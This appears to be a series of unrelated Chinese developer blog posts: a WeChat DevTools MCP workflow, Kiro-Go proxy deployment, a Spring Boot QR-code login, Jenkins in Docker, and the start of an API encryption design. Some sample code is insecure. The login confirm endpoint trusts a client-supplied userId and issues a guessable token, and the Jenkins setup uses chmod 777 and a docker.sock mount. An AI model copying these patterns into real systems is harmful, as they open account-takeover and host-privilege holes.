如果诊断里 AppID 是空的，优先怀疑是目录传错了。要么没指到 mp-weixin，要么还没生成小程序产物。

推荐调用流程

第一次连接或者新会话，先让 AI 检查环境：

1
2
3
4
5
6

wechat_ide(action="status")
wechat_ide(action="is_login")
wechat_ide(action="open")
wechat_automator(action="start")
wechat_file(action="project_info")
wechat_automator(action="page_data")

只要 page_data 能读出来，说明 AI 已经能看到当前小程序页面了。

代码修改后，一般这样走：

1
2
3

wechat_build(action="compile")
wechat_automator(action="page_data")
wechat_inspector(action="console", duration=3, detail_level="full")

页面调试时：

1
2
3
4

wechat_file(action="list_pages")
wechat_navigate(page_path="pages/index/index", wait_ms=1000)
wechat_automator(action="page_data")
wechat_screenshot()

元素操作时：

1
2
3

wechat_automator(action="element_info", selector=".target")
wechat_automator(action="tap", selector=".target")
wechat_automator(action="input", selector="input", value="hello")

这里的体验会比纯截图靠谱很多。截图只能看到长什么样，page_data 和源码能告诉 AI 当前到底在哪个页面、有什么字段、字段是不是空的、按钮真实 selector 是什么。

工具列表

主要暴露了这些 MCP 工具：

所有工具返回统一 JSON 结构，成功大概是：

1
2
3
4
5

{
  "success": true,
  "data": {},
  "message": "操作描述"
}

失败时会返回：

1
2
3
4
5
6

{
  "success": false,
  "error_code": "ERROR_CODE",
  "message": "失败原因",
  "hint": "可选修复建议"
}

这个统一返回很重要，AI 不需要从一堆乱七八糟的 CLI 输出里猜结果。

让 AI 读取内置 Skill

包里带了一份推荐工作流：

1

.agents/skills/wechat-devtools/SKILL.md

支持 MCP resources 的客户端可以直接读：

1

skill://wechat-devtools

如果客户端不会主动读取 resource，也可以用工具兜底：

1

agents(action="read", name="wechat-devtools")

也可以查看列表和路径：

1
2

agents(action="list")
agents(action="path")

这个 skill 的作用是告诉 AI：什么时候该 open，什么时候该 compile，什么时候只需要 page_data，什么时候不要乱调用 upload / quit。

常见问题

1. automator 连接失败

优先检查这几项：

• 微信开发者工具服务端口是否已开启
• 是否已经通过 wechat_ide(action="open") 打开项目
• 项目 AppID 是否有效
• WECHAT_DEVTOOLS_CLI 是否指向正确的 cli 路径

然后重试：

1

wechat_automator(action="start")

2. 找不到项目

如果是 uniapp 项目，先确认已经生成微信小程序产物：

1

unpackage/dist/dev/mp-weixin

如果没有这个目录，先在 HBuilderX 或构建命令里生成一下微信小程序。

如果你不想让它自动猜，也可以在工具调用里手动传 project_path。

3. AppID 为空

大概率是解析到的目录不是真正的小程序目录。

确认目标目录里有：

1
2

project.config.json
app.json

并且 project.config.json 里有有效 AppID。

4. 元素点不到

不要先硬点，先让 AI 读页面和源码：

1
2
3

wechat_automator(action="page_data")
wechat_file(action="read_page", page_path="pages/login/index")
wechat_automator(action="element_info", selector=".target")

确认当前页面路径、页面 data 和真实 class 之后，再调用 tap。

5. 编译显示成功但页面还是不对

微信开发者工具有时会出现 CLI 返回成功，但日志里其实有 fatal 错误的情况。

这个 MCP 里对常见 fatal compile 日志做了检测，如果命中会返回 COMPILE_FAKE_SUCCESS，这时候不要继续调页面，先看编译日志。

可以配合：

1
2

wechat_build(action="compile")
wechat_inspector(action="console", duration=3, detail_level="full")

6. 不要随便 upload / quit

wechat_build(action="upload") 是发布上传操作，除非你明确要发版本，并且已经准备好 version 和 desc，否则不要让 AI 调。

wechat_ide(action="quit") 会直接影响你本地打开的开发者工具，一般调试过程中也没必要主动调用。

开发与测试

如果你要本地开发这个 MCP Server：

1
2

cd weixinNode
npm test

检查 npm 发布包内容：

1

npm pack --dry-run --json

这里使用的是 Kiro-Go：

GitHub 地址：https://github.com/Quorinex/Kiro-Go

Kiro-Go 的核心能力：

• 支持 OpenAI /v1/chat/completions 接口
• 支持 Anthropic /v1/messages 接口
• 支持多账号池与轮询负载均衡
• 支持 SSE 流式响应
• 支持自动刷新 Token
• 提供 Web 管理后台
• 支持配置 HTTP / SOCKS5 出站代理

使用 Docker 启动 Kiro-Go

先准备一个本地数据目录，用来持久化配置和账号数据：

1

mkdir -p /opt/kiro-go/data

然后启动容器：

1
2
3
4
5
6
7

docker run -d \
  --name kiro-go \
  -p 8080:8080 \
  -e ADMIN_PASSWORD=your_secure_password \
  -v /opt/kiro-go/data:/app/data \
  --restart unless-stopped \
  ghcr.io/quorinex/kiro-go:latest

参数说明：

• -p 8080:8080：将管理后台和 API 服务暴露到本机 8080 端口
• ADMIN_PASSWORD：管理后台登录密码，建议改成复杂密码
• /opt/kiro-go/data:/app/data：持久化配置文件和账号数据
• --restart unless-stopped：服务异常退出或机器重启后自动拉起

如果你想映射到其他端口，比如宿主机 8912，可以这样写：

1

-p 8912:8080

此时管理后台地址就是：

1

http://localhost:8912/admin

访问管理后台

如果使用上面的默认端口映射，启动成功后访问：

1

http://localhost:8080/admin

使用 ADMIN_PASSWORD 配置的密码登录后台。

进入后台后，先添加 Kiro 账号。账号配置完成后，可以在后台生成 API Key，后面配置到 CC Switch 或其他工具时会用到。

在 CC Switch 中配置

打开 CC Switch，新建一个 API 配置。

如果按默认端口启动，基础地址可以填：

1

http://localhost:8080

如果你映射的是 8912 端口，则填写：

1

http://localhost:8912

API Key 填写刚刚在 Kiro-Go 后台生成的 Key。

配置完成后，点击获取模型列表。只要模型列表能正常拉取，说明 Kiro-Go、账号池和 CC Switch 的连接基本没问题。

接下来就可以把这个配置切换到 Claude Code、Codex 或其他兼容 OpenAI / Anthropic 接口的工具里使用。

常见问题

1. 管理后台打不开

先确认容器是否正常运行：

1

docker ps | grep kiro-go

再查看日志：

1

docker logs -f kiro-go

如果你修改过端口映射，要注意访问的是宿主机端口。例如 -p 8912:8080 对应的是 http://localhost:8912/admin，不是 http://localhost:8080/admin。

2. 模型列表获取失败

优先检查这几项：

• Kiro-Go 后台账号是否添加成功
• API Key 是否复制完整
• CC Switch 里的基础地址是否填写到端口，不要多写 /admin
• 网络环境是否需要在 Kiro-Go 后台配置出站代理

3. 不建议直接裸奔到公网

如果要部署到服务器并开放给外部使用，至少要做好这些事情：

• 修改默认后台密码
• 不要泄露 API Key
• 使用 Nginx / Caddy 配置 HTTPS
• 给管理后台加访问限制
• 定期备份 /app/data 目录

扫码登录是现代应用中常见的身份验证方式，本文将详细介绍基于 Spring Boot 3 的完整实现方案，包括二维码生成、状态管理、确认流程等核心环节。

一、Maven 依赖

1.1 核心依赖引入（pom.xml）

在项目的 pom.xml 文件中添加依赖：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<!-- SpringWeb 核心依赖 -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

<!-- Redis 依赖（存储扫码状态） -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>

<!-- 二维码生成依赖 -->
<dependency>
    <groupId>com.google.zxing</groupId>
    <artifactId>core</artifactId>
    <version>3.5.3</version>
</dependency>
<dependency>
    <groupId>com.google.zxing</groupId>
    <artifactId>javase</artifactId>
    <version>3.5.3</version>
</dependency>

二、配置文件

在 application.yml 或 application.properties 中配置Redis连接和二维码基础参数。

2.1 YAML 格式配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

spring:
  servlet:
    multipart:
      max-file-size: 100MB
      max-request-size: 100MB
  data:
    redis:
      host: localhost # 本地Redis，生产环境替换为实际地址
      port: 6379
      database: 0
      timeout: 5000
      password:  # 无密码留空，生产环境需配置密码

# 自定义扫码登录配置
scan:
  login:
    qrcode:
      width: 200 # 二维码宽度
      height: 200 # 二维码高度
      expire-time: 300 # 二维码有效期（秒），默认5分钟
    redis:
      key-prefix: 'scan_login:' # Redis key前缀，避免key冲突
      state-key: 'scan_state:' # 扫码状态key前缀

三、核心功能实现

3.1 枚举类（扫码状态）

定义扫码的4种状态，避免魔法值，后续判断状态更直观

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import lombok.AllArgsConstructor;
import lombok.Getter;

/**
 * 扫码登录状态枚举
 * 实际项目中可根据需求增减状态
 */
@Getter
@AllArgsConstructor
public enum ScanLoginStatus {
    NOT_SCAN(0, "未扫码"),
    SCANNED(1, "已扫码，待确认"),
    CONFIRMED(2, "已确认登录"),
    EXPIRED(3, "二维码已过期");

    private final Integer code;
    private final String desc;

    // 根据code获取枚举，方便后续接口返回
    public static ScanLoginStatus getByCode(Integer code) {
        for (ScanLoginStatus status : values()) {
            if (status.getCode().equals(code)) {
                return status;
            }
        }
        return NOT_SCAN;
    }
}

3.2 二维码工具类

封装二维码生成逻辑，返回Base64字符串，方便前端直接渲染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

import com.google.zxing.BarcodeFormat;
import com.google.zxing.EncodeHintType;
import com.google.zxing.MultiFormatWriter;
import com.google.zxing.common.BitMatrix;
import com.google.zxing.qrcode.decoder.ErrorCorrectionLevel;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

import javax.imageio.ImageIO;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/**
 * 二维码生成工具类
 * 无需修改，直接复用
 */
@Component
public class QrCodeUtil {

    @Value("${scan.login.qrcode.width}")
    private Integer qrcodeWidth;

    @Value("${scan.login.qrcode.height}")
    private Integer qrcodeHeight;

    /**
     * 生成二维码Base64字符串
     * @param content 二维码内容（这里存临时凭证uuid）
     * @return Base64字符串
     */
    public String generateQrCodeBase64(String content) {
        if (StringUtils.isBlank(content)) {
            throw new IllegalArgumentException("二维码内容不能为空");
        }

        // 二维码配置参数
        Map<EncodeHintType, Object> hints = new HashMap<>();
        hints.put(EncodeHintType.CHARACTER_SET, "UTF-8"); // 支持中文
        hints.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.H); // 30%容错率，适合户外/污损场景
        hints.put(EncodeHintType.MARGIN, 1); // 二维码边框空白宽度

        try {
            // 生成二维码矩阵
            MultiFormatWriter writer = new MultiFormatWriter();
            BitMatrix bitMatrix = writer.encode(content, BarcodeFormat.QR_CODE, qrcodeWidth, qrcodeHeight, hints);

            // 转换为BufferedImage
            BufferedImage image = new BufferedImage(qrcodeWidth, qrcodeHeight, BufferedImage.TYPE_INT_RGB);
            for (int x = 0; x < qrcodeWidth; x++) {
                for (int y = 0; y < qrcodeHeight; y++) {
                    // 黑色二维码，白色背景
                    image.setRGB(x, y, bitMatrix.get(x, y) ? Color.BLACK.getRGB() : Color.WHITE.getRGB());
                }
            }

            // 转换为Base64
            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
            ImageIO.write(image, "png", outputStream);
            byte[] imageBytes = outputStream.toByteArray();
            return "data:image/png;base64," + Base64.getEncoder().encodeToString(imageBytes);

        } catch (Exception e) {
            throw new RuntimeException("二维码生成失败", e);
        }
    }
}

3.3 核心接口实现（Controller）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

import cn.iocoder.boot.entity.ResultVo;
import cn.iocoder.boot.entity.ScanLoginStatus;
import cn.iocoder.boot.utils.QrCodeUtil;
import jakarta.annotation.Resource;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.data.redis.core.StringRedisTemplate;
import org.springframework.web.bind.annotation.*;

import java.util.UUID;
import java.util.concurrent.TimeUnit;

/**
 * 扫码登录核心接口
 * 接口路径可根据项目规范调整
 */
@RestController
@RequestMapping("/api/scan/login")
@Slf4j
public class ScanLoginController {

    @Resource
    private QrCodeUtil qrCodeUtil;

    @Resource
    private StringRedisTemplate stringRedisTemplate;

    @Value("${scan.login.qrcode.expire-time}")
    private Integer expireTime;

    @Value("${scan.login.redis.key-prefix}")
    private String redisKeyPrefix;

    @Value("${scan.login.redis.state-key}")
    private String stateKeyPrefix;

    /**
     * 1. 生成登录二维码（前端调用，获取二维码和临时凭证）
     * @return 二维码Base64 + 临时凭证uuid
     */
    @GetMapping("/qrcode")
    public ResultVo generateLoginQrCode() {
        // 生成唯一临时凭证（uuid），用于关联二维码和扫码状态
        String uuid = UUID.randomUUID().toString().replace("-", "");
        // 二维码内容：临时凭证（实际项目可拼接域名，方便手机端解析）
        String qrCodeContent = uuid;
        // 生成二维码Base64
        String qrCodeBase64 = qrCodeUtil.generateQrCodeBase64(qrCodeContent);

        // 存储二维码状态到Redis，初始状态：未扫码，设置过期时间
        String redisKey = redisKeyPrefix + uuid;
        stringRedisTemplate.opsForValue().set(redisKey, ScanLoginStatus.NOT_SCAN.getCode().toString(), expireTime, TimeUnit.SECONDS);

        // 返回结果（ResultVo是项目通用返回类，可替换为自己的返回格式）
        return ResultVo.success()
                .put("qrCodeBase64", qrCodeBase64)
                .put("uuid", uuid);
    }

    /**
     * 2. 查询扫码状态（前端轮询调用，间隔1-2秒）
     * @param uuid 临时凭证
     * @return 扫码状态 + 登录token（确认登录后返回）
     */
    @GetMapping("/state")
    public ResultVo queryScanState(@RequestParam String uuid) {
        if (StringUtils.isBlank(uuid)) {
            return ResultVo.error("临时凭证不能为空");
        }

        String redisKey = redisKeyPrefix + uuid;
        String statusCode = stringRedisTemplate.opsForValue().get(redisKey);

        // 二维码已过期（Redis中无数据）
        if (StringUtils.isBlank(statusCode)) {
            return ResultVo.success()
                    .put("status", ScanLoginStatus.EXPIRED.getCode())
                    .put("desc", ScanLoginStatus.EXPIRED.getDesc());
        }

        ScanLoginStatus status = ScanLoginStatus.getByCode(Integer.parseInt(statusCode));
        // 已确认登录，生成登录token（实际项目用JWT或Session，这里简化）
        if (status == ScanLoginStatus.CONFIRMED) {
            String loginToken = generateLoginToken(uuid);
            // 登录成功后，删除Redis中的临时状态（避免重复登录）
            stringRedisTemplate.delete(redisKey);
            return ResultVo.success()
                    .put("status", status.getCode())
                    .put("desc", status.getDesc())
                    .put("token", loginToken);
        }

        // 未扫码/已扫码待确认，返回当前状态
        return ResultVo.success()
                .put("status", status.getCode())
                .put("desc", status.getDesc());
    }

    /**
     * 3. 扫码确认登录（手机端调用，扫码后点击确认触发）
     * @param uuid 临时凭证（手机端解析二维码获取）
     * @param userId 手机端登录用户ID（实际项目从token中获取）
     * @return 确认结果
     */
    @PostMapping("/confirm")
    public ResultVo confirmLogin(@RequestParam String uuid, @RequestParam Long userId) {
        if (StringUtils.isBlank(uuid) || userId == null) {
            return ResultVo.error("参数不完整");
        }

        String redisKey = redisKeyPrefix + uuid;
        String statusCode = stringRedisTemplate.opsForValue().get(redisKey);

        // 二维码已过期或不存在
        if (StringUtils.isBlank(statusCode)) {
            return ResultVo.error("二维码已过期，请重新生成");
        }

        ScanLoginStatus status = ScanLoginStatus.getByCode(Integer.parseInt(statusCode));
        // 只有未扫码/已扫码待确认状态，才能确认登录
        if (status == ScanLoginStatus.NOT_SCAN || status == ScanLoginStatus.SCANNED) {
            // 更新状态为已确认登录，无需延长过期时间（确认后立即删除）
            stringRedisTemplate.opsForValue().set(redisKey, ScanLoginStatus.CONFIRMED.getCode().toString());
            log.info("用户{}扫码确认登录，临时凭证：{}", userId, uuid);
            return ResultVo.success("确认登录成功");
        }

        return ResultVo.error("当前状态无法确认登录");
    }

    /**
     * 生成登录token（简化版，实际项目用JWT，配置密钥和过期时间）
     * @param uuid 临时凭证
     * @return 登录token
     */
    private String generateLoginToken(String uuid) {
        // 实际项目中替换为JWT生成逻辑，这里仅做演示
        return "scan_login_" + uuid + "_" + System.currentTimeMillis();
    }
}

3.4 通用返回类（ResultVo）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import lombok.Data;
import java.util.HashMap;
import java.util.Map;

/**
 * 通用返回类
 */
@Data
public class ResultVo {
    private Integer code; // 0：成功，1：失败
    private String msg;
    private Map<String, Object> data = new HashMap<>();

    // 成功返回
    public static ResultVo success() {
        return success("操作成功");
    }

    // 成功返回
    public static ResultVo success(String msg) {
        ResultVo resultVo = new ResultVo();
        resultVo.setCode(0);
        resultVo.setMsg(msg);
        return resultVo;
    }

    // 失败返回
    public static ResultVo error(String msg) {
        ResultVo resultVo = new ResultVo();
        resultVo.setCode(1);
        resultVo.setMsg(msg);
        return resultVo;
    }

    // 往返回数据中添加参数
    public ResultVo put(String key, Object value) {
        this.data.put(key, value);
        return this;
    }
}

四、前端配合实现

4.1 PC 端实现流程

1. 二维码渲染：页面初始化后，调用后端 /api/scan/login/qrcode 接口，获取二维码 Base64 字符串和临时凭证 uuid，直接渲染到页面即可，无需额外处理二维码生成逻辑。

2. 状态轮询：获取 uuid 后，以 1-2 秒为间隔，调用后端 /api/scan/login/state 接口，传入 uuid 查询扫码状态，同步展示状态提示（未扫码、待确认、已登录、已过期）。

3. 结果处理：若查询到状态为”已确认登录”，保存后端返回的 token 到本地（localStorage/SessionStorage），立即停止轮询并跳转至系统首页；若状态为”二维码已过期”，显示已过期，允许用户重新调用二维码生成接口刷新。

4.2 手机端扫码确认流程

手机端用户在扫码后，解析二维码内容（即 uuid），调用后端 /api/scan/login/confirm 接口，传入 uuid 和当前登录用户 ID，完成确认操作。此时 PC 端会收到更新通知，完成登录流程。

本文介绍如何使用 Docker 快速安装 Jenkins，并完成基础配置与常用构建流程。

使用 Docker 安装 Jenkins

1）拉取镜像

1

docker pull jenkins/jenkins:lts

2）创建数据卷

为了持久化 Jenkins 配置和构建数据，需要创建本地目录：

1
2

mkdir -p /opt/jenkins_home
chmod 777 /opt/jenkins_home

3）启动容器

1
2
3
4
5
6
7

docker run -d \
  --name jenkins \
  -p 8080:8080 \
  -p 50000:50000 \
  -v /opt/jenkins_home:/var/jenkins_home \
  -v /var/run/docker.sock:/var/run/docker.sock \
  jenkins/jenkins:lts

参数说明：

• -d：后台运行
• --name jenkins：容器名称
• -p 8080:8080：暴露 Web UI 端口
• -p 50000:50000：Jenkins agent 通信端口
• -v /opt/jenkins_home:/var/jenkins_home：数据持久化
• -v /var/run/docker.sock:/var/run/docker.sock：允许 Jenkins 调用 Docker

4）获取初始密码

1
2
3

docker logs jenkins | grep -A 5 "Please use the following password"
# 或者
cat /opt/jenkins_home/secrets/initialAdminPassword

5）访问 Jenkins

打开浏览器访问 http://localhost:8080，输入初始密码进行解锁。

Jenkins 初始配置

1）安装推荐插件

解锁后会进入”自定义 Jenkins”页面，选择”安装推荐的插件”。常见插件包括：

• Pipeline：支持声明式和脚本化流水线
• Blue Ocean：提供现代化的 Pipeline 可视化
• Git：Git 版本控制集成
• Maven Integration：Maven 构建支持
• Email Extension：邮件通知
• Slack Notification：Slack 集成通知
• Docker：Docker 集成

2）创建管理员用户

按照提示创建第一个管理员用户，设置用户名、密码、邮箱等信息。

3）配置系统设置

进入”系统管理” → “系统配置”，配置以下内容：

• Jenkins Location：Jenkins URL（如 http://your-domain:8080）
• 邮件通知：配置 SMTP 信息用于发送构建通知
• 污点标签：设置执行器和代理标签

创建第一个 Pipeline 流水线

1）新建任务

点击”New Item”，输入任务名称，选择”Pipeline”类型。

2）编写 Jenkinsfile

在”Pipeline”部分选择”Pipeline script from SCM”，指定 Git 仓库。

示例 Jenkinsfile：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

pipeline {
    agent any
    
    options {
        buildDiscarder(logRotator(numToKeepStr: '10'))
        timestamps()
    }
    
    stages {
        stage('Git Checkout') {
            steps {
                echo '🔄 Checking out code...'
                git url: 'https://github.com/your-repo.git', 
                    branch: 'main'
            }
        }
        
        stage('Build') {
            steps {
                echo '🔨 Building project...'
                sh '''
                    chmod +x ./mvnw
                    ./mvnw clean package -DskipTests
                '''
            }
        }
        
        stage('Test') {
            steps {
                echo '🧪 Running tests...'
                sh './mvnw test'
            }
        }
        
        stage('Deploy Dev') {
            when {
                branch 'develop'
            }
            steps {
                echo '🚀 Deploying to dev environment...'
                sh './deploy.sh dev'
            }
        }
        
        stage('Deploy Prod') {
            when {
                branch 'main'
            }
            steps {
                echo '🚀 Deploying to production...'
                input message: '确认生产部署?', ok: 'Deploy'
                sh './deploy.sh prod'
            }
        }
    }
    
    post {
        always {
            echo '📊 Generating reports...'
            junit 'target/surefire-reports/**/*.xml'
        }
        
        success {
            echo '✅ Pipeline 成功！'
        }
        
        failure {
            echo '❌ Pipeline 失败！'
        }
    }
}

3）设置触发器

配置构建触发条件：

• Poll SCM：定期检查代码变更
• Webhook：Git 仓库提交时自动触发
• 定时构建：指定时间自动构建

常用的 Jenkins 配置

1）配置 Git 凭证

进入”系统管理” → “Manage Credentials”，添加 SSH 或 HTTPS 凭证：

1
2
3
4
5

# 生成 SSH 密钥
ssh-keygen -t rsa -b 4096 -f ~/.ssh/jenkins_key

# 将公钥添加到 GitHub/GitLab
cat ~/.ssh/jenkins_key.pub

2）设置邮件通知

在”系统配置”中：

• 配置 SMTP 服务（Gmail、企业邮箱等）
• 设置发件人邮箱
• 在 Pipeline 中使用邮件步骤：

1
2
3
4
5
6
7

post {
    failure {
        mail to: 'team@example.com',
             subject: "Build Failed: ${env.JOB_NAME} #${env.BUILD_NUMBER}",
             body: "Build failed. Check console output at ${env.BUILD_URL}"
    }
}

3）配置 Docker 代理

在”系统管理” → “Manage Nodes and Clouds” → “Configure System”：

• 添加 Docker 云配置
• 设置 Docker host URI：unix:///var/run/docker.sock
• 配置 Docker 镜像模板

项目使用

编辑Jenkinsfile，实现自动拉取代码->打包->构建镜像->推送镜像仓库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

pipeline {
    agent any

    tools {
        maven 'Maven 3.9.5'
        jdk 'JDK 21'
    }

    environment {
        MAVEN_OPTS = '-Xmx1024m'
        APP_NAME = 'jenkins'
        APP_VERSION = '0.0.1-SNAPSHOT'
        REGISTRY = 'crpi-rd6sb3k81gnpszt1.cn-hangzhou.personal.cr.aliyuncs.com'
        REGISTRY_NAMESPACE = 'nie_jenkins'
        IMAGE_REPO = "${REGISTRY}/${REGISTRY_NAMESPACE}/${APP_NAME}"
    }



    options {
        buildDiscarder(logRotator(numToKeepStr: '10'))
        timestamps()
        timeout(time: 30, unit: 'MINUTES')
    }

    stages {
        stage('Checkout') {
            steps {
                echo 'Checking out code...'
                git(
                    branch: 'master',
                    url: 'https://gitee.com/niezidong/jenkins_test.git'
                )
            }
        }

        stage('Build Jar') {
            steps {
                echo 'Building application jar...'
                sh '''
                    chmod +x mvnw
                    ./mvnw clean package -DskipTests
                '''
                archiveArtifacts artifacts: 'target/*.jar', fingerprint: true
            }
        }

        stage('Build Docker Image') {
            steps {
                script {
                    env.IMAGE_TAG = "${BUILD_NUMBER}"
                    env.IMAGE_FULL_NAME = "${IMAGE_REPO}:${IMAGE_TAG}"
                }
                sh '''
                    docker build \
                      --build-arg JAR_FILE=target/${APP_NAME}-${APP_VERSION}.jar \
                      -t ${IMAGE_FULL_NAME} \
                      -t ${IMAGE_REPO}:latest \
                      .
                '''
            }
        }

        stage('Push Docker Image') {
            steps {
                sh '''
                    echo "Pushing image: ${IMAGE_FULL_NAME}"
                    docker push ${IMAGE_FULL_NAME}
                    docker push ${IMAGE_REPO}:latest
                '''

            }
        }

    }

    post {
        always {
            cleanWs()
        }
        success {
            echo 'Pipeline completed successfully.'
        }
        failure {
            echo 'Pipeline failed.'
        }
    }
}

性能优化建议

1. 增加执行器数量：根据硬件配置在系统配置中增加执行器
2. 使用 Pipeline 缓存：减少重复下载依赖
3. 配置构建队列优先级：重要任务优先执行
4. 定期清理旧构建：使用 logRotator 自动删除过期构建
5. 使用共享库：在多个 Pipeline 间复用代码

参考资源

• Jenkins 官方文档
• Jenkins Pipeline 官方文档
• Jenkins 插件市场
• Docker Hub - Jenkins 镜像

更新日期：2026-03-20

Mars Admin 的接口加密采用 RSA + AES-GCM 混合加密 方案，形成”前端获取配置 → 请求加密 → 后端解密 → 后端加密响应 → 前端解密”的完整闭环。

为什么用混合加密？

• RSA（非对称加密）：安全性高，但加密大数据速度慢，适合加密少量数据（如密码字段、AES 密钥）
• AES-GCM（对称加密）：速度快，适合加密大量响应数据，且 GCM 模式自带完整性校验

两种加密范围：

• 全局加密（encryptScope = "global"）：除白名单路径外，所有接口响应自动加密
• 局部加密（encryptScope = "partial"）：仅对标注 @EncryptResponse 注解的接口加密

核心文件一览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

mars-admin
├── mars-common/
│   └── util/RsaUtils.java                    # RSA/AES 工具类（分段加密、混合加密）
├── mars-infra/mars-crypto/
│   ├── CryptoService.java                     # 加密服务接口
│   ├── CryptoConfigProvider.java              # 加密配置提供者接口（解耦用）
│   ├── DecryptRequestBodyAdvice.java          # 请求解密拦截器
│   ├── EncryptResponseBodyAdvice.java         # 响应加密拦截器
│   └── EncryptResponse.java                   # 局部加密注解
├── mars-core/mars-system/
│   ├── service/impl/CryptoServiceImpl.java    # 加密服务实现（密钥管理 + 加解密）
│   └── helper/SystemConfigHelper.java         # 配置读取（实现 CryptoConfigProvider）
├── mars-api/mars-admin-api/
│   └── controller/auth/CryptoController.java  # 前端获取加密配置的接口
└── mars-ui/src/utils/
    ├── crypto.ts                               # 前端 RSA 加密工具
    └── request.ts                              # Axios 封装（含 AES 响应解密）

加密架构分层设计

项目通过接口解耦，避免基础设施层（mars-infra）直接依赖业务层（mars-core）：

1
2
3
4
5
6
7
8
9
10
11
12

┌─────────────────────────────────────────────┐
│  mars-infra/mars-crypto（基础设施层）          │
│  定义接口: CryptoService, CryptoConfigProvider │
│  定义拦截器: DecryptRequestBodyAdvice          │
│            EncryptResponseBodyAdvice           │
└──────────────────┬──────────────────────────┘
                   │ 依赖接口，不依赖实现
┌──────────────────▼──────────────────────────┐
│  mars-core/mars-system（业务核心层）           │
│  实现类: CryptoServiceImpl                     │
│  配置: SystemConfigHelper (impl CryptoConfig)  │
└─────────────────────────────────────────────┘

关键接口说明：

• CryptoService — 加密能力的统一入口，定义了 isEnabled()、decrypt()、encryptResponse() 等方法
• CryptoConfigProvider — 只有一个方法 isGlobalEncrypt()，由 SystemConfigHelper 实现，让拦截器能判断加密范围而不需要直接引用业务类

密钥管理机制

RSA 密钥对

来源：从数据库 sys_config_group 表的 security 分组读取（字段 encryptPublicKey / encryptPrivateKey）

自动生成：如果数据库中未配置密钥，启动时自动生成 2048 位 RSA 密钥对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

// CryptoServiceImpl.java 启动时加载
@PostConstruct
public void init() {
    loadKeys();        // 尝试从数据库加载 RSA 密钥
    generateAesKey();  // 每次启动生成新的 AES 密钥
}

/**
 * 加载密钥
 */
private void loadKeys() {
    try {
        JsonNode config = getSecurityConfig();
        if (config != null) {
            publicKey = getStringValue(config, "encryptPublicKey");
            privateKey = getStringValue(config, "encryptPrivateKey");
        }

        // 如果没有配置密钥，则生成新的密钥对
        if (publicKey == null || privateKey == null || publicKey.isEmpty() || privateKey.isEmpty()) {
            log.info("RSA密钥未配置，正在生成新密钥对...");
            generateAndSaveKeys();
        } else {
            log.info("RSA密钥加载成功");
        }
    } catch (Exception e) {
        log.error("加载RSA密钥失败", e);
    }
}

/**
 * 生成并保存密钥对
 */
private void generateAndSaveKeys() {
    try {
        Map<String, String> keyPair = RsaUtils.generateKeyPair();  // 2048 位
        publicKey = keyPair.get(RsaUtils.PUBLIC_KEY);
        privateKey = keyPair.get(RsaUtils.PRIVATE_KEY);
        log.info("RSA密钥对生成成功");
    } catch (Exception e) {
        log.error("生成RSA密钥对失败", e);
    }
}

AES 密钥

生成方式：每次服务启动时随机生成 AES-256 密钥

下发方式：以 Base64 编码通过 /api/crypto/config 接口下发给前端（依赖 HTTPS 保护传输安全）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// CryptoServiceImpl.java
/**
 * 生成AES密钥
 */
private void generateAesKey() {
    try {
        KeyGenerator keyGen = KeyGenerator.getInstance(AES_ALGORITHM);
        keyGen.init(256, new SecureRandom());
        aesKey = keyGen.generateKey();

        // 直接返回AES密钥的Base64编码（通过HTTPS安全传输）
        encryptedAesKey = Base64.getEncoder().encodeToString(aesKey.getEncoded());

        log.info("AES密钥生成成功");
    } catch (Exception e) {
        log.error("生成AES密钥失败", e);
    }
}

前端获取加密配置

1
2
3
4
5
6
7
8
9
10
11
12

// CryptoController.java
/**
 * 获取加密配置（公钥、AES密钥和是否启用）
 */
@GetMapping("/config")
